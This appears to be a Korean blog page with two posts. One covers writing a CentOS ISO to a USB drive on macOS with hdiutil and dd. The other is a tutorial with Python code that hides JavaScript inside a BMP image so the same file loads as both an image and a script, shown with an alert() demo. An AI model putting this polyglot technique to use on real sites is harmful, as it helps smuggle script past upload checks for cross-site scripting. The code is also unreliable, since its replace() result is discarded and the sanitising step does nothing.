2016년 4월 29일 금요일

맥북에서 Bootable CentOS USB 만들기

맥북에서 부팅되는 CentOS USB 드라이브 만드는 방법이다.

1. CentOS 홈페이지에서 원하는 IOS 이미지를 내려 받는다.
 - https://www.centos.org/download/

2. hdiutil을 이용해서 UDRW 형태 이미지로 변형한다.
# hdiutil convert -format UDRW -o temporary.img CentOS-xxxx.iso

**
UDRW - UDIF read/write image

3 dd를 통해서 이미지를 굽는다.
설치할 디스크 장치명 확인
# diskutier list
대상 디스크 언마운트 하기
# diskutil unmountDisk /dev/diskX
2번 과정에서 만든 이미지를 굽기
# sudo dd if=temporary.img.dmg of=/dev/diskX bs=1m

**
CentOS 6.7 기준 실제 작업한 내용
$ diskutil list
/dev/disk0 (internal, physical):
/dev/disk1 (internal, virtual):
/dev/disk2 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:     FDisk_partition_scheme                        *15.6 GB    disk2
   1:                 DOS_FAT_32 UNTITLED 1              15.6 GB    disk2s1
$ time sudo dd if=target.img.dmg of=/dev/disk2 bs=1m
Password:
3715+0 records in
3715+0 records out
3895459840 bytes transferred in 5414.762327 secs (719415 bytes/sec)

real 90m23.357s
user 0m0.024s
sys 0m54.548s

90분이 소요 되었다.
더 낳은 USB를 사용 해보니 결과는 7분 정도로 가능했다.

real 6m58.033s
user 0m0.020s
sys 0m18.291s

2016년 4월 1일 금요일

이미지에 자바스크립트 코드 삽입하기

BMP 이미지에 자바스크립트 코드를 삽입하는 과정이다.

1. 테스트로 사용할 이미지를 구한다. (sample.bmp)
2. BMP 포맷의 특징을 활용해서 자바스크립트 코드를 삽입한다.
3. HTML에서 이미지와 자바스크립트의 소스로 변경된 이미지를 가져온다.

구현된 파이썬 코드를 통해서 알아보자.

# 구글 이미지 검색에서 찾은 BMP 이미지 파일을 sample.bmp로 명명하였다.
original_file = "sample.bmp"
cracked_file = "cracked.bmp"

# 삽입될 바이너리 형태의 코드로 알림 창을 띄우는 예제를 만들었다.
script_text = 'alert("{0} is cracked.")'.format(original_file).encode('ascii')

def script_into_bmp(script_text, original_file, cracked_file):
    """
    bmp 이미지에 script 코드를 삽입하기
    :param script_text: 삽입할 자바스크립트 코드
    :param original_file: 원본 bmp 이미지 파일 이름
    :param cracked_file: 생성될 bmp 이미지 파일 이름
    :return: 성공
    """

    # 1번째 과정 : 주석 영역에 문제를 일으킬수 있는 */ 문자를 제거한다.
    with open(original_file, "r+b") as f:
        buff = f.read()
        buff.replace(b'\x2A\x2F', b'\x00\x00')  # */ 공백 치환

    # 2번째 과정 : 비트맵의 헤더 2 바이트 이후에 주석 시작 코드(/*)를 삽입한다.
    with open(cracked_file, "w+b") as f:
        f.write(buff)
        f.seek(2, 0)
        f.write(b'\x2F\x2A')  # /*

    # 3번째 과정 : 파일의 끝에 주석 끝 코드(*/)와 함께,
    # 비트맵의 헤더 BM=1;과 같이 처리하기 위해서 다음 코드(=1;)를 추가한다.
    # 테스트를 위해서 알림창을 띄우는 자바스크립트 코드를 추가한다.
    with open(cracked_file, "a+b") as f:
        f.write(b'\x2A\x2F\x3D\x31\x3B')  # */=1;
        f.write(script_text)

    return True

HTML에서 이미지를 보여주는 것과 동시에 숨겨진 자바스크립트 코드를 실행한다.
<img src=“cracked.bmp”/>
<script src=“cracked.bmp”/>

실행 화면